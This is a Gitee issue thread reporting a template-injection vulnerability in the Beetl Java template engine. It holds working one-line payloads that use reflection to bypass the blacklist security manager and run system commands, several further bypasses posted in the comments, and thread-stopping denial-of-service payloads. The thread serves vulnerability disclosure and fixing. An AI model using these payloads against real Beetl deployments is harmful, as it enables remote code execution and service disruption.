98 Star 573 Fork 123

闲.大赋(李家智) / Beetl

 / 详情

Beetl 存在 SSTI 漏洞[BUG]

已完成
创建于  
2023-03-31 10:21

对比其他模板引擎,Beetl的安全策略需要加强

Beetl-3.15.0-vuln-poc

Beetl直到最新版本都存在SSTI(模版注入)漏洞

  • 对于安全管理器的策略采用的是黑名单的机制
public class DefaultNativeSecurityManager implements NativeSecurityManager{

        @Override
        public boolean permit(String resourceId, Class c, Object target, String method){
                if (c.isArray()){
                        //允许调用,但实际上会在在其后调用中报错。不归此处管理
                        return true;
                }
                String name = c.getSimpleName();
                String pkg = c.getPackage().getName();
                if (pkg.startsWith("java.lang")){
                        if (name.equals("Runtime") || name.equals("Process") || name.equals("ProcessBuilder")
                                        || name.equals("System")){
                                return false;
                        }
                }
                return true;
        }
}
  • 如果使用反射(java reflect)即可以绕过黑名单的一切策略

  • poc

${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("s='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")}
ilOcbN.png
  • 拿官方的网站做例子 我输入了以下payload仅用于测试

ilbloa.png

  • 并成功拿到服务器的控制权限
ilbpyZ.png

修复建议

  • 限制反射(java reflect)

报告人

@陈再

参考

评论 (6)

陈再 创建了任务
陈再 修改了描述
展开全部操作日志

同问这个问题,很早就这个问题,一直到现在好像没有修复,以前好多用beetl都貌似都有这个问题

@陈再 多谢,我增加了禁用Class,调用

 if (pkgName.startsWith("java.lang")) {
            return !className.equals("Runtime")
                    && !className.equals("Process")
                    && !className.equals("ProcessBuilder")
					&& !className.equals("Class")
                    && !className.equals("System");
}

@lsw beetl可以设置禁用本地java调用,可以避免这个问题,也可以自定义安全管理器来避免,比如像我这样,增加对class的限制。 而且如果应用不像beetl在线体验网站对外暴露,应该是没有这个问题的。 他不像JSON安全漏洞那样具备普偏性。 你说好多用beetl的,能举几个例子么?

允许本地java调用本来就是一个正常的设计功能

可以考虑不认定是安全漏洞,直接放开交给用户控制,当启用了本地java调用,那么调用外部命令获取数据就是一个正常需求设计

这块其实防护现在还是比较松散的,容易绕过

拿上面禁用Class来说,稍微改改又能刷一个洞出来了

${@sun.reflect.misc.ReflectUtil.newInstance(@sun.reflect.misc.ReflectUtil.forName("javax.script.ScriptEngineManager")).getEngineByName("js").eval("s='ls';java.lang.Runtime.getRuntime().exec(s);")}

输入图片说明

而且除了命令执行,还有文件读写,删除文件、请求http等等操作也有潜在的“漏洞风险”

防不胜防,多谢 @Sasser ,我再调整一下,禁用sun包,还有什么需要禁用的?

java.io,java.net 等 ?

@闲.大赋(李家智)

比如我直接用beetl自带的方法,创建对象
${@org.beetl.core.fun.ObjectUtil.instance("javax.script.ScriptEngineManager",@org.beetl.core.fun.ObjectUtil.getClassLoader()).getEngineByName("js").eval("s='ls';java.lang.Runtime.getRuntime().exec(s);")}

还有比如我直接将BeetlKit的全局安全管理器去掉,然后就简单了
${@org.beetl.core.BeetlKit.gt.setNativeSecurity(null)} ${@org.beetl.core.BeetlKit.execute("@java.lang.Runtime.getRuntime().exec("calc");")}

还有比如java.lang.Thread
如果输入的是${@java.lang.Thread.sleep(999999999)},那不就能导致一直卡住拒绝服务了
或者${@java.lang.Thread.currentThread().stop()} 不就能让线程直接中断,甚至${@java.lang.Thread.currentThread().getThreadGroup().stop()} 还可能把系统所有线程杀死

如果考虑上第三方库的话,那就多了,我一个人也不可能全列出来

黑名单只能起到相对的安全,有一定缓解作用

好的,多谢。我在更改一下黑名单,然后添加个白名单用作为在线引擎和作为默认安全管理器

闲.大赋(李家智) 任务状态待办的 修改为已完成

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(4)
29 xiandafu 1678706040 878040 chinavicrack 1578934647
Java
1
https://gitee.com/xiandafu/beetl.git
git@gitee.com:xiandafu/beetl.git
xiandafu
beetl
Beetl

搜索帮助